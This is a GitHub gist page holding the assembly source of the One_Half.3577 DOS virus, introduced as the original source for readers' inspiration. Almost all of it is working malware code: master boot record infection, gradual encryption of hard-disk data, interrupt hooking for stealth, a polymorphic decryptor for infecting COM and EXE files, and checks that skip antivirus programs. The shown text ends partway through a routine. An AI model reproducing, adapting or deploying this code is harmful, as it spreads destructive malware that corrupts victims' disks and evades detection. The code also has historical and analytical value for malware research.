Skip to content

Instantly share code, notes, and snippets.

@JuryA
Forked from starenka/onehalf.asm
Created March 13, 2020 10:27
Show Gist options
  • Save JuryA/be241968f29bbc00b1336e2a3344abbc to your computer and use it in GitHub Desktop.
Save JuryA/be241968f29bbc00b1336e2a3344abbc to your computer and use it in GitHub Desktop.

Revisions

  1. @starenka starenka created this gist Jan 2, 2012.
    1,900 changes: 1,900 additions & 0 deletions onehalf.asm
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,1900 @@
    ;Dear friends,
    ;some time has already passed since the great days of One Half epidemy.
    ;Nevertheless we still hope that a code of this popular virus inspires
    ;you also now. A lot of stuff has been written on the subject, so I tink,
    ;not many words are necessary about this little creature any more.
    ;And, so, here is the original source of One_Half.3577:

    DOSSEG
    .MODEL SMALL
    .STACK 100h

    Vkod SEGMENT 'kod'
    ASSUME CS:Vkod,DS:Vkod

    stvir LABEL near
    POCKIL=4 ;virus length in kB
    DB 05ah
    owner DW ?
    DW POCKIL*1024/16-1
    DB 00h,00h,00h,'COMMAND',00h ;MCB header
    DLZVIR=(OFFSET endvir-OFFSET stvir) ;virus length
    POCSEC=((DLZVIR-1)/512+1) ;number of sectors needed
    POCINS=10 ;number of instructions
    DLZINS=10 ;instruction length
    DLZBUFF=512 ;buffer length
    DLZZAS=81h ;stack length
    VRCHOL=(OFFSET endvir+DLZBUFF+DLZZAS) ;top
    POCTRACK=2 ;track number
    DLZFNB=64 ;file name max. length

    strc STRUC
    id DW ?
    lpage DW ?
    pages DW ?
    items DW ?
    parps DW ?
    min DW ?
    max DW ?
    vSS DW ?
    vSP DW ?
    flag DB ?
    DB ? ;check DW ?
    vIP DW ?
    vCS DW ?
    iaddr DW ?
    strc ENDS

    bheader strc <>
    poss DW POCINS DUP(?)
    posss DW ? ;positions of instructions
    orprg DB POCINS*DLZINS DUP(?)

    v16 DW 16
    v30 DW 30
    v512 DW 512

    ;************ MBOOT ************
    sboot: xor bx,bx
    cli
    mov sp,7c00h
    mov ss,bx
    sti
    mov ds,bx
    sub word ptr ds:0413h,POCKIL
    mov cl,6
    int 12h
    shl ax,cl
    mov dx,0080h
    mov es,ax
    sector: mov cx,0009h
    mov ax,(0200h+POCSEC)
    push es
    int 13h
    bootid: mov ax,OFFSET staboot
    push ax
    retf
    eboot LABEL near
    ;******************************
    staboot:mov ds:(4*21h+2),cs
    mov ax,ds:046ch
    push ds
    push cs
    pop ds
    mov rnd1,ax ;RNG init
    mov ax,cs
    inc ax
    mov owner,ax ;MCB owner setting
    mov byte ptr ds:(OFFSET con3+1),00h ;condition for memory
    call Koppr ;copying of needed routines

    pop es
    mov bx,sp
    push es
    mov si,es:(bx+OFFSET eboot-OFFSET sboot)
    zactr: cmp si,500 ;everything encoded ?
    jbe uznk
    push si
    sub si,POCTRACK
    mov word ptr ds:(OFFSET cdft+2),si ;last track
    pop si
    mov ah,08h
    int 13h
    jc uznk
    mov al,cl
    and al,3fh ;al = number of sectors
    mov kolzak,al ;number of sectors to encode
    mov cl,01h
    mov bh,7eh
    mov odkzak,bx ;start to encode from
    mov dl,80h
    nttrc: dec si
    call Fromsi
    push dx
    nthd: mov ah,02h
    push ax
    int 13h
    pop ax
    jc perwd
    call Skramb
    inc ah
    push ax
    int 13h
    pop ax
    perwd: jc erwd
    test dh,3fh
    jz tcid
    dec dh
    jmp nthd
    tcid: pop dx
    cdft: cmp si,100h ;last track
    ja nttrc
    jfcor: mov bh,7ch
    mov es:(bx+OFFSET eboot-OFFSET sboot),si
    mov ax,0301h
    mov cx,0001h
    mov dh,ch
    int 13h
    uznk: mov word ptr ds:(OFFSET cnflte+2),si ;for condition in res13
    aktcd: sub si,613
    ja estne
    cmp si,-(3*POCTRACK-1)
    jb estne ;write it out 3x
    call Prejav

    estne: mov ax,0201h
    mov bx,7c00h
    mov cx,word ptr ds:(OFFSET sector+1)
    dec cx
    mov dx,0080h
    int 13h ;read original boot
    cli
    les ax,es:(4*13h)
    mov word ptr oriv13,ax
    mov word ptr oriv13+2,es
    pop es
    push es
    les ax,es:(4*1ch)
    mov word ptr oriv1c,ax
    mov word ptr oriv1c+2,es
    pop es
    push es
    mov word ptr es:(4*13h),OFFSET res13
    mov es:(4*13h+2),cs
    mov word ptr es:(4*1ch),OFFSET res1c
    mov es:(4*1ch+2),cs ;hook 13h and timer 1ch
    sti
    push bx
    retf

    erwd: xor ah,ah ;decode last track if error
    push ax
    int 13h
    pop ax
    enthd: inc dh
    mov ah,dh
    pop dx
    push dx
    cmp ah,dh
    ja ercor
    mov dh,ah
    mov ah,02h
    push ax
    int 13h
    pop ax
    call Skramb
    inc ah
    push ax
    int 13h
    pop ax
    jmp enthd
    ercor: pop dx
    inc si
    jmp jfcor

    res1c: push ax
    push ds
    push es
    xor ax,ax
    mov ds,ax
    les ax,ds:(4*21h)
    mov word ptr cs:oriv21,ax
    mov ax,es
    cmp ax,0800h
    ja chnp
    mov word ptr cs:(oriv21+2),ax
    les ax,cs:oriv1c
    mov ds:(4*1ch),ax
    mov ds:(4*1ch+2),es ;unhook 1ch
    mov ds:(4*21h),OFFSET res21
    mov ds:(4*21h+2),cs ;hook 21h
    chnp: pop es
    pop ds
    pop ax
    DB 0eah ;jump to original 1ch
    oriv1c DD ?

    Koppr PROC near
    mov si,OFFSET zZakoduj
    mov di,OFFSET Zakoduj
    mov cx,OFFSET kzZak-OFFSET zZakoduj
    cld
    rep movsb ;copy needed routines
    ret
    Koppr ENDP

    Fromsi PROC near
    push ax
    mov ax,si
    mov ch,al
    push cx
    mov cl,4
    shl ah,cl
    pop cx
    mov al,3fh
    and dh,al
    and cl,al
    not al
    push ax
    and ah,al
    or dh,ah
    pop ax
    shl ah,1
    shl ah,1
    and ah,al
    or cl,ah
    pop ax
    ret
    Fromsi ENDP

    mess1 DB 'Dis is one half.',0dh,0ah,'Press any key to continue ...',0dh,0ah
    ems1 LABEL byte

    Prejav PROC near
    test order,11b ;only generations that are multiple of 4
    jnz somewhere_in_town
    mov cx,OFFSET ems1-OFFSET mess1
    mov si,OFFSET mess1
    mov ah,0fh
    int 10h
    mov bl,07h
    mov ah,0eh
    freddey_lives:
    lodsb
    int 10h
    loop freddey_lives
    xor ah,ah
    int 16h
    somewhere_in_town:
    ret
    Prejav ENDP

    ;**************** file part **************
    Pmip PROC near
    push bx
    DB 0bbh
    handle1 DW ? ;mov bx,handle1
    int 21h
    pop bx
    ret
    Pmip ENDP

    tInt13 PROC near
    pushf
    cli
    DB 09ah
    toriv13 DD ?
    ret
    tInt13 ENDP

    res01: push bp
    mov bp,sp
    con2: jmp short r1cn
    r1cn: cmp word ptr [bp+04h],1234h
    ja nsyet
    push ax
    push bx
    push ds
    lds ax,[bp+02h]
    DB 0bbh
    rlit DW ?
    mov word ptr cs:[bx+OFFSET toriv13],ax
    mov word ptr cs:[bx+OFFSET toriv13+2],ds
    mov byte ptr cs:[bx+OFFSET con2+1],OFFSET syet-OFFSET r1cn ;set condition
    pop ds
    pop bx
    pop ax
    syet: and byte ptr [bp+07h],0feh
    nsyet: pop bp
    iret
    ;**************** instalation to memory ******************
    instm: pop bx
    pop ax
    push ax ;ax = PSP
    dec ax
    mov ds,ax
    cmp byte ptr ds:[00h],'Z'
    jne inchb
    add ax,ds:[03h]
    sub ax,(POCKIL*1024)/16-1 ;ax = virus segment
    mov dx,cs
    mov si,bx
    dec si
    mov cl,4
    shr si,cl
    inc si ;si = paragraph count till beginning
    add dx,si
    add dx,cs:[bx+OFFSET bheader.min] ;min memory request
    cmp ax,dx
    jb inchb ;not enough room in memory
    mov dx,ss
    mov si,sp
    add si,3
    shr si,cl
    inc si
    add dx,si
    cmp ax,dx
    jb inchb

    mov byte ptr ds:[00h],'M'
    sub word ptr ds:[03h],(POCKIL*1024)/16
    mov ds:[12h],ax
    mov es,ax
    push cs
    pop ds
    inc ax
    mov word ptr [bx+OFFSET owner],ax
    mov byte ptr [bx+OFFSET vsetky],0ebh ;infect everywhere
    mov si,bx
    xor di,di
    mov cx,DLZVIR
    rep movsb
    push es
    pop ds
    call Koppr ;copy needed routines
    xor ax,ax
    mov ds,ax
    cli
    mov ax,ds:(4*21h)
    mov word ptr es:oriv21,ax
    mov ax,ds:(4*21h+2)
    mov word ptr es:(oriv21+2),ax
    mov word ptr ds:(4*21h),OFFSET res21
    mov ds:(4*21h+2),es
    sti
    inchb: jmp aalldn

    start LABEL near
    stsub: call next
    next: pop si
    sub si,OFFSET next
    mov [si+OFFSET rlit],si ;relocation in trace

    push es
    push si
    cld

    inc word ptr [si+OFFSET order] ;generation
    mov byte ptr [si+OFFSET vsetky],74h ;dis is jz ...
    xor ax,ax
    mov es,ax
    mov ax,es:046ch
    mov [si+OFFSET rnd1],ax ;init RNG
    mov [si+OFFSET zls1+3],ax ;key for HD encoding

    mov ax,4b53h
    int 21h
    cmp ax,454bh
    je palldn

    mov ah,52h
    int 21h
    mov ax,es:[bx-02h]
    mov word ptr ds:[si+OFFSET r1cn+3],ax ;limit
    mov byte ptr ds:[si+OFFSET con2+1],00h ;set condition
    mov ax,3501h
    int 21h
    push bx
    push es
    mov ax,3513h
    int 21h
    mov word ptr [si+OFFSET toriv13],bx
    mov word ptr [si+OFFSET toriv13+2],es
    mov ax,2501h
    lea dx,[si+OFFSET res01]
    int 21h
    lea bx,[si+OFFSET endvir]
    mov cx,0001h
    mov dx,0080h
    push cs
    pop es
    pushf
    pop ax
    or ah,01h
    push ax
    popf
    mov ax,0201h
    call tInt13
    pushf
    pop ax
    and ah,0feh
    push ax
    popf
    pop ds
    pop dx
    pushf
    mov ax,2501h
    int 21h
    popf
    jc pinstm
    push cs
    pop ds
    cmp word ptr [bx+(OFFSET bootid-OFFSET sboot)+1],OFFSET staboot
    jne ov444
    palldn: jmp alldn
    ov444: cmp word ptr [bx+180h],072eh
    je pinstm ;MASTER mboot protection
    mov ah,08h
    mov dl,80h
    call tInt13
    jc pinstm
    and cx,00111111b ;CL = max. sector number
    mov byte ptr ds:(si+OFFSET znxtsc+2),cl ;for res13
    mov [si+OFFSET mxskt],cl
    and dh,3fh
    mov [si+OFFSET mxhlv],dh ;max. head number for encoding
    mov ax,0301h
    sub cl,POCSEC
    mov byte ptr ds:(si+OFFSET zr13ds+2),cl ;for condition in int13
    mov dx,0080h
    call tInt13 ;save original mboot
    jc pinstm

    push cx
    push dx
    push si
    xchg di,si
    mov cx,4
    add bx,1eeh
    hlvp: mov al,[bx+04h]
    cmp al,01h
    je ptrif
    cmp al,04h
    jb chdnn
    cmp al,06h
    jbe ptrif
    chdnn: sub bx,10h
    loop hlvp
    pop si
    pop dx
    pop cx
    pinstm: jmp instm
    ptrif: mov cx,[bx+02h]
    mov dh,[bx+01h]
    call zTosi
    add si,POCTRACK+5
    mov [di+OFFSET zactr+2],si ;cylinder nearer to the beginning
    xchg ax,si
    mov cx,[bx+06h]
    mov dh,[bx+01h]
    call zTosi
    mov [di+OFFSET kontr+2],si
    mov [di+OFFSET stpdb+1],si ;cylinder nearer to the end
    add ax,si
    shr ax,1
    mov [di+OFFSET aktcd+2],ax ;cylinder to activate
    pop si
    pop dx
    pop cx

    mov ax,(0300h+POCSEC)
    xchg bx,si
    inc cx
    mov word ptr ds:[bx+OFFSET sector+1],cx
    call tInt13
    jc pinstm
    lea si,[bx+OFFSET sboot]
    lea di,[bx+OFFSET endvir]
    push di
    mov cx,OFFSET eboot-OFFSET sboot
    rep movsb
    stpdb: mov ax,1234h
    stosw
    mov ax,0301h
    pop bx
    mov cx,0001h
    call tInt13
    jc pinstm

    alldn: pop bx
    aalldn: push cs
    pop ds
    push cs
    pop es

    lea si,[bx+OFFSET orprg]
    add bx,OFFSET poss
    mov cx,POCINS
    ssno: mov di,[bx]
    push cx
    mov cx,DLZINS
    rep movsb
    pop cx
    inc bx
    inc bx
    loop ssno ;restore code
    pop es

    add bx,((OFFSET bheader-OFFSET poss)-POCINS*2)
    mov di,es
    add di,10h
    add [bx].vCS,di
    add [bx].vSS,di

    cmp [bx].items,0
    je ssr4
    mov ds,es:[2ch]
    xor si,si
    lfn: inc si
    cmp word ptr [si],0000h
    jne lfn
    add si,4
    xchg dx,si
    mov ax,3d00h
    int 21h
    jc errlp
    push cs
    pop ds
    mov [bx+(OFFSET handle1-OFFSET bheader)],ax
    mov dx,[bx].iaddr
    mov ax,4200h
    call Pmip
    push es
    xchg ax,di
    ssr3: push ax
    lea dx,[bx+(OFFSET rbuff-OFFSET bheader)]
    mov cx,[bx].items
    cmp cx,((OFFSET endvir-OFFSET rbuff)+DLZBUFF)/4
    jb ssr1
    mov cx,((OFFSET endvir-OFFSET rbuff)+DLZBUFF)/4
    ssr1: sub [bx].items,cx
    push cx
    shl cx,1
    shl cx,1
    mov ah,3fh
    call Pmip
    jc errlp
    pop cx
    pop ax
    xchg si,dx
    ssr2: add [si+2],ax
    les di,[si]
    add es:[di],ax
    add si,4
    loop ssr2
    cmp [bx].items,0
    ja ssr3 ;relocation
    pop es
    mov ah,3eh
    call Pmip
    ssr4: push es
    pop ds
    cmp cs:[bx].flag,0 ;is it COM ?
    jne sEXE
    mov si,bx
    mov di,100h
    mov cx,3
    rep movsb
    pop ax
    jmp short sCOM
    sEXE: pop ax
    cli
    mov sp,cs:[bx].vSP
    mov ss,cs:[bx].vSS
    sti
    sCOM: jmp dword ptr cs:[bx].vIP
    errlp: mov ah,4ch ;if error on program loading
    int 21h

    rbuff LABEL byte
    Rnd PROC NEAR
    mov word ptr cs:(OFFSET povsi+1),si
    push ax
    push bx
    push cx
    push dx
    DB 0b9h
    rnd2 DW 0000h
    DB 0bbh
    rnd1 DW ? ;<-
    MOV DX,015Ah
    MOV AX,4E35h
    XCHG AX,SI
    XCHG AX,DX
    TEST AX,AX
    JZ r1
    MUL BX
    r1: JCXZ r2
    XCHG AX,CX
    MUL SI
    ADD AX,CX
    r2: XCHG AX,SI
    MUL BX
    ADD DX,SI
    INC AX
    ADC DX,0000h
    MOV cs:rnd1,AX
    MOV cs:rnd2,DX
    MOV ax,dx
    pop cx
    xor dx,dx
    jcxz rdbz ;division by zero
    div cx
    rdbz: pop cx
    pop bx
    pop ax
    pop si
    push si
    cmp byte ptr cs:[si],0cch
    cli
    neksl: je neksl
    sti
    povsi: mov si,1234h
    RET
    Rnd ENDP

    ;*************** mutation ****************
    kod: DB 1
    kodpax: push ax
    DB 1
    kodpcs: push cs
    DB 1
    kodpds: pop ds
    DB 3
    kodmsi: mov si,1100h
    DB 3
    kodmbx: mov bx,1234h
    DB 2
    kodxor LABEL near
    k01: xor [si],bx
    DB 4
    kodabx: add bx,4567h
    DB 1
    kodisi: inc si
    DB 4
    kodcsi: cmp si,1103h
    DB 2
    jne k01

    POCRI=9
    randi: nop
    stc
    clc
    sti
    DB 2eh ;cs:
    DB 3eh ;ds:
    cld
    std
    cmc

    Rndi PROC near
    or dx,dx
    jz rintd
    push si
    push cx
    push dx
    mov cx,dx
    rinxt: mov si,OFFSET randi
    mov dx,POCRI
    call Rnd
    add si,dx
    movsb
    loop rinxt
    pop dx
    pop cx
    pop si
    rintd: ret
    Rndi ENDP

    Mtog PROC near
    mov ax,dx
    inc dx ;for all ins. could be before instruction
    call Rnd
    sub ax,dx
    call Rndi
    xchg dx,ax ;random ins. before instruction

    rep movsb ;instruction

    cmp bx,OFFSET poss+2*9 ;jump ?
    jne mtnj
    mov ax,poss[2*5]
    sub ax,di
    add ax,OFFSET ibuf
    sub ax,[bx] ;ax=poss[2*5]-di+OFFSET ibuf-[bx]
    dec di
    stosb ;jump to marked instruction

    mtnj: call Rndi ;random ins. after instruction
    ret
    Mtog ENDP

    kodd DW OFFSET kodmbx
    DW OFFSET kodxor+1
    DW OFFSET kodabx+1 ;offset of instruction
    kodi DW OFFSET kodmsi
    DW OFFSET kodxor+1
    DW OFFSET kodisi
    DW OFFSET kodcsi+1

    Kodins PROC near
    kinxt: lodsw
    xchg di,ax
    mov al,dl
    cmp si,OFFSET kodi+2*2
    jnz kint ;conversion when addressing
    and al,101b
    cmp al,001b
    jnz kins
    mov al,111b

    kint: cmp si,OFFSET kodd+2*2
    jnz kins ;3 bit shift
    mov cl,3
    shl al,cl
    or [di],al
    or al,0c7h
    jmp short kiad
    kins: or [di],al
    or al,0f8h
    kiad: and [di],al

    cmp si,OFFSET kodi
    jz kiend
    cmp si,OFFSET Kodins
    jz kiend
    jmp kinxt
    kiend: ret
    Kodins ENDP

    MHeader PROC near
    fics: mov si,OFFSET kodd
    kom: mov dx,1000b
    call Rnd
    cmp dl,100b ;SP
    je kom
    mov bl,dl
    call Kodins ;encoding of data registers
    mov si,OFFSET kodi
    kbxa: mov dx,3
    call Rnd
    add dl,110b
    cmp dl,08h
    jne kvf
    mov dl,011b ;BX
    kvf: cmp dl,bl
    je kbxa
    call Kodins ;encoding of address registers

    xor cx,cx
    mov di,OFFSET poss
    pnxt1: cmp cx,9 ;jump ?
    jne pnl

    pom: mov dx,200
    call Rnd
    sub dx,100
    add dx,poss[2*5] ;return to 5. instruction
    cmp dx,0
    jl pom
    cmp dx,DLZHDR
    jge pom
    jmp short pl

    pnl: DB 0bah
    DLZHDR DW 1000 ;mov dx,DLZHDR
    call Rnd
    pl: jcxz pfirst
    mov si,OFFSET poss
    push cx
    pnxt: lodsw
    sub ax,dx
    cmp ax,DLZINS
    jge pOK
    cmp ax,-DLZINS
    jle pOK
    pop cx
    jmp pnxt1
    pOK: loop pnxt
    pop cx
    pfirst: xchg ax,dx
    stosw
    inc cx
    cmp cx,POCINS
    jb pnxt1
    ;*******************************
    mov bx,OFFSET poss
    mov si,OFFSET kod
    mnxt: mov di,OFFSET ibuf
    lodsb
    mov cl,al

    mov dx,DLZINS-3+1 ;'cos range is 0 - (DLZINS-1)
    sub dx,cx

    mov ax,[bx+2] ;if one just after another - no jump
    sub ax,[bx]
    cmp ax,DLZINS
    jne mjin
    inc dx
    inc dx
    call Mtog
    inc bx
    inc bx
    jmp short mshort

    mjin: call Rnd
    call Mtog

    mov dx,di
    sub dx,OFFSET ibuf-3
    add dx,[bx]
    mov al,0e9h
    stosb
    inc bx
    inc bx
    mov ax,[bx]
    sub ax,dx

    cmp ax,126
    jg mnear
    cmp ax,-129
    jl mnear
    inc ax
    mov byte ptr [di-1],0ebh
    stosb ;put short if possible
    jmp short mshort
    mnear: stosw

    mshort: push bx
    push cx
    DB 0b9h
    vysr DW ? ;mov cx,vysr
    DB 0bah
    nizr DW ? ;mov dx,nizr
    add dx,[bx-2]
    adc cx,0 ;CX:DX = position for instruction
    push cx
    push dx
    call PozZac
    mov cx,DLZINS
    DB 0bah
    vpior DW ? ;mov dx,vpior
    add vpior,cx
    call Citanie
    pop dx
    pop cx
    jc mhpp
    call PozZac
    xchg cx,di
    mov dx,OFFSET ibuf
    sub cx,dx
    call Zapis ;put generated instruction into file
    mhpp: pop cx
    pop bx
    jc mhkon

    cmp bx,OFFSET poss+2*POCINS
    jnb mhkon
    jmp mnxt
    mhkon: ret
    MHeader ENDP
    ;********************* end of m. ****************
    ;*************** copied routines **************
    zZakoduj PROC near
    mov cx,DLZVIR
    xor dx,dx ;OFFSET stvir
    call zzp1
    mov ah,40h
    mov bx,handle
    pushf
    DB 9ah
    DD ? ;call ds:oriv21
    jc zzk1
    cmp ax,cx
    zzk1: pushf
    call zzp1
    popf
    ret
    zzp1: push cx
    mov si,dx
    zzkmax: mov ax,0000h
    mov cx,DLZVIR
    zzp2: xor [si],ax
    zzkaax: add ax,0000h
    inc si
    loop zzp2
    pop cx
    ret
    zZakoduj ENDP

    zres24: mov al,03h
    iret

    zInt13 PROC near
    pushf
    call cs:oriv13
    ret
    zInt13 ENDP
    zTosi PROC near
    push cx
    push dx
    shr cl,1
    shr cl,1
    and dh,11000000b
    or dh,cl
    mov cl,4
    shr dh,cl
    mov dl,ch
    xchg si,dx
    pop dx
    pop cx
    ret
    zTosi ENDP
    zSkramb PROC near
    push ax
    push bx
    push cx
    DB 0b0h,? ;mov al,?
    DB 0bbh,?,? ;mov bx,?
    znxtss: mov cx,256
    zls1: xor word ptr es:[bx],1212h
    inc bx
    inc bx
    loop zls1
    dec al
    jnz znxtss
    pop cx
    pop bx
    pop ax
    ret
    zSkramb ENDP
    zres13: cmp ah,02h
    je zrtc
    cmp ah,03h
    je zrtc
    jmp zjtoo
    zrtc: cmp dx,0080h
    jne zencode
    test cx,0ffc0h
    jnz zencode
    push bx
    push dx
    push si
    push di
    push cx
    push cx
    mov si,ax
    and si,00ffh
    mov di,si
    mov al,01h
    push ax
    jz zbzch ;if AL=0 do nothing
    jcxz zgchi
    cmp cl,01h
    je zobbs
    znxtsc: cmp cl,17 ;if sector number > max. then error
    ja zgchi
    zr13ds: cmp cl,07h
    jb zctoo
    cmp ah,03h
    je zgchi
    push bx
    mov cx,512
    zflbf: mov byte ptr es:[bx],00h
    inc bx
    loop zflbf
    pop bx
    zrtcom: add bx,512
    pop ax
    pop cx
    inc cx
    push cx
    push ax
    dec si
    jnz znxtsc
    zbzch: clc
    zzav: pop ax
    pushf
    xchg ax,di
    sub ax,si
    popf
    mov ah,ch
    pop cx
    pop cx
    pop di
    pop si
    pop dx
    pop bx
    retf 2
    zobbs: mov cl,byte ptr cs:(OFFSET r13ds+2)
    zctoo: call zInt13
    mov ch,ah
    jc zzav
    jmp zrtcom
    zgchi: stc
    mov ch,0bbh ;undefined error
    jmp zzav

    zencode:cmp dl,80h ;encoding resp. decoding
    jne zjtoo
    push ax
    push cx
    push dx
    push si
    push ds
    push cs
    pop ds
    mov byte ptr kolzak,0
    mov odkzak,bx
    call zTosi
    and cl,3fh
    and dh,3fh
    zchdnd: or al,al
    jz zhtvo
    kontr: cmp si,1234h ;max. cyl.
    jae zhtvo
    cmp si,1234h ;min. cyl.
    jb ztdal
    inc kolzak
    jmp short znxslp
    ztdal: add odkzak,512
    znxslp: dec al
    inc cl
    DB 80h,0f9h
    mxskt DB ? ;cmp cl,?
    jbe zchdnd
    mov cl,1
    inc dh
    DB 80h,0feh
    mxhlv DB ? ;cmp dh,?
    jbe zchdnd
    xor dh,dh
    inc si
    jmp zchdnd
    zhtvo: cmp kolzak,0
    pop ds
    pop si
    pop dx
    pop cx
    pop ax
    je zjtoo
    cmp ah,02h
    je zeckn
    call zSkramb
    zeckn: call zInt13
    pushf
    call zSkramb
    popf
    retf 2
    zjtoo: DB 0eah
    ;zoriv13 DD ?
    kzZak LABEL near
    ;********************* EXE,COM modification ***********
    Subor PROC near
    Zapis: mov ah,40h
    jmp short s1
    Citanie:mov ah,3fh
    s1: call s2
    jc s3
    cmp ax,cx
    s3: ret
    Zaciatok:xor cx,cx
    mov dx,cx
    PozZac: mov ax,4200h
    jmp short s2
    Koniec: xor cx,cx
    mov dx,cx
    PozKon: mov ax,4202h
    s2 LABEL near
    Mhandle:mov bx,cs:handle
    Int21: pushf
    cli
    call cs:oriv21
    ret
    Subor ENDP

    Infikuj PROC near
    mov bp,sp

    mov ax,5700h
    call Mhandle
    mov bx,OFFSET ftime
    mov [bx],cx
    mov [bx+2],dx ;read time and date of last write
    call Identify
    jc mikon0

    mov dx,30
    call Rnd ;with prob. 1:30 file won't be marked
    or dx,dx
    jz neozn
    mov [bx],ax ;mark

    neozn: mov vpior,OFFSET orprg ;position in saving area
    mov dx,0ffffh
    push dx
    call Rnd
    mov word ptr ds:(OFFSET kodmbx+1),dx
    mov word ptr ds:(OFFSET zkmax+1),dx
    pop dx
    call Rnd
    mov word ptr ds:(OFFSET kodabx+2),dx
    mov word ptr ds:(OFFSET zkaax+1),dx ;values for encoding

    call Zaciatok
    mov cx,1ah
    mov dx,OFFSET header
    push dx
    call Citanie
    jc mikon1
    xchg si,dx
    mov di,OFFSET bheader
    rep movsb
    call Koniec
    mov si,ax
    mov di,dx
    pop bx
    cmp [bx].id,'MZ'
    je iEXE
    cmp [bx].id,'ZM'
    je iEXE
    mov bheader.flag,0 ;0 means COM
    cmp ax,65535-(DLZVIR+(VRCHOL-OFFSET endvir))-1 ;much too long dlhy ?
    cmc
    jc mikon1
    mov ax,3 ;do not overwrite leading jump
    cwd
    push bx
    jmp short iCOM
    iEXE: mov bheader.flag,1
    mov ax,[bx].pages
    mul v512
    sub ax,si
    sbb dx,di
    mikon0: jc mikon1 ;not whole
    mov ax,[bx].parps
    mul v16
    push bx
    push ax
    push dx
    iCOM: sub si,ax
    sbb di,dx
    MINM=1000
    MAXM=3000
    or di,di
    jnz short igt64
    mov dx,si
    sub dx,MINM
    mikon1: jb mikon2 ;not enough space
    cmp dx,(MAXM-MINM)
    jbe iltm
    igt64: mov dx,(MAXM-MINM)
    iltm: call Rnd
    add dx,MINM
    mov word ptr ds:(OFFSET kodmsi+1),dx
    add dx,VRCHOL-10h ;SS = CS+1
    cmp bheader.flag,0
    je iCOM5
    mov header.vSP,dx ;set stack pointer
    iCOM5: add dx,DLZVIR-((VRCHOL-OFFSET stvir)-10h)
    mov word ptr ds:(OFFSET kodcsi+2),dx ;header limits
    add dx,OFFSET stsub-DLZVIR
    mov posss,dx ;set jump after decoding
    add dx,(-DLZINS+1)-(OFFSET stsub-OFFSET stvir) ;DX=Rnd+MINM-DLZINS+1
    mov DLZHDR,dx
    add dx,DLZINS-2
    not dx
    mov cx,-1
    call PozKon ;setting to the virus beginning in file
    mov vysr,dx
    mov nizr,ax
    cmp bheader.flag,0
    jne iEXE2
    xchg ax,dx
    add dx,100h
    jmp short iCOM1 ;if COM take from beginning
    iEXE2: pop di
    pop si
    sub ax,si
    sbb dx,di ;relatively in file
    div v16
    iCOM1: add word ptr ds:(OFFSET kodmsi+1),dx
    add word ptr ds:(OFFSET kodcsi+2),dx;set header limits
    push ax
    push dx
    call MHeader ;create header for decoding
    jnc twnm
    mikon2: jmp ikon
    twnm: pop dx
    pop ax
    mov cx,POCINS
    mov si,OFFSET poss
    il1: add [si],dx
    inc si
    inc si
    loop il1 ;set positions in poss
    sub nizr,dx
    sbb vysr,0 ;for correct positions on error
    pop bx
    cmp bheader.flag,0
    jne iEXE3
    mov byte ptr [bx],0e9h
    mov ax,poss[0*2]
    sub ax,3+100h
    mov word ptr [bx+1],ax ;ins. jmp at the beginning
    mov bheader.items,0
    mov bheader.min,0
    mov bheader.vCS,-10h
    mov bheader.vIP,100h
    jmp short iegh2
    iEXE3: mov [bx].vCS,ax
    inc ax
    mov [bx].vSS,ax
    mov ax,poss[0*2]
    mov [bx].vIP,ax
    add [bx].vSP,dx ;set SP
    and byte ptr [bx].vSP,0feh ;SP is even
    mov [bx].items,0 ;no relocations
    mov ax,((VRCHOL-OFFSET endvir)-1)/16+1
    cmp [bx].min,ax
    jae iegh1
    mov [bx].min,ax
    iegh1: cmp [bx].max,ax
    jae iegh2
    mov [bx].max,ax ;set up min. and max. memory requirments
    iegh2: push bx
    call Koniec
    call Zakoduj ;put v. to the file end
    jc ifail
    call Koniec
    div v512
    inc ax
    pop bx
    cmp bheader.flag,0
    je iCOM4
    iEXE1: mov [bx].pages,ax
    mov [bx].lpage,dx
    iCOM4: push bx
    call Zaciatok
    mov cx,1ah
    pop dx
    call Zapis
    jc ifail

    stbkon: mov ax,5701h
    mov cx,ftime
    mov dx,fdate
    call Mhandle ;restore time and date

    ikon: mov sp,bp
    ret

    ifail: mov dx,OFFSET orprg
    mov si,OFFSET poss
    opdl: push dx
    lodsw
    xchg dx,ax
    mov cx,vysr
    add dx,nizr
    adc cx,0
    call PozZac
    pop dx
    mov cx,DLZINS
    call Zapis
    add dx,cx
    cmp si,OFFSET posss
    jb opdl ;restore overwritten parts
    and ftime,0ffe0h ;not marked
    jmp stbkon
    Infikuj ENDP
    ;************** routines for TSR part ****
    Nastav24 PROC near
    push dx
    push ds
    push cs
    pop ds
    mov ax,3524h
    call Int21
    mov seg24,es
    mov off24,bx
    mov ax,2524h
    mov dx,OFFSET res24
    call Int21
    pop ds
    pop dx
    ret
    Nastav24 ENDP
    Vrat24 PROC near
    mov ax,2524h
    lds dx,dword ptr cs:off24
    call Int21
    ret
    Vrat24 ENDP

    POCKRP=6 ;number of critical programs
    retaz DB 4,'.COM',4,'.EXE'
    retaz1 DB 4,'SCAN',5,'CLEAN',8,'FINDVIRU',5,'GUARD',3,'EMM'
    retaz2 DB 6,'CHKDSK'

    Over PROC near
    push dx
    push bx
    push cx
    push si
    push di
    push ds
    push es
    push ax
    mov si,dx
    mov di,OFFSET caname
    push cs
    pop es
    lea bx,[di-1]
    mov cx,DLZFNB
    ol1: lodsb
    cmp al,'a'
    jb nmp
    cmp al,'z'
    ja nmp
    sub al,'a'-'A' ;uppercase
    nmp: push ax
    push si
    nzero: cmp al,' '
    jne nomdz
    lodsb
    or al,al
    jnz nzero ;no ending spaces
    pop si
    pop si
    jmp short nstfn
    nomdz: pop si
    pop ax
    cmp al,'\'
    je stfn
    cmp al,'/'
    je stfn
    cmp al,':'
    jne nstfn
    stfn: mov bx,di
    nstfn: stosb
    or al,al
    jz whname
    loop ol1
    whname: mov si,OFFSET retaz
    sub di,5
    push cs
    pop ds

    call Porovnaj
    je porok
    call Porovnaj
    jne oinok ;is it COM or EXE ?

    porok: pop ax
    push ax
    xchg di,bx
    inc di
    cmp ax,4b00h
    jne nnchk
    mov si,OFFSET retaz2
    call Porovnaj
    jne nnchk ;is it CHKDSK ?
    mov byte ptr ds:(OFFSET dtrad+1),OFFSET dnxt-OFFSET con1

    nnchk: mov cx,POCKRP
    mov si,OFFSET retaz1
    ol2: push cx
    call Porovnaj
    pop cx
    je oinok
    loop ol2 ;check for critical programs

    mov si,OFFSET caname
    xor bl,bl
    lodsw
    cmp ah,':'
    jne imdrv
    sub al,'A'-1
    mov bl,al
    imdrv: mov ax,4408h
    call Int21
    or ax,ax
    vsetky: jz oiok ;removable (floppy like)
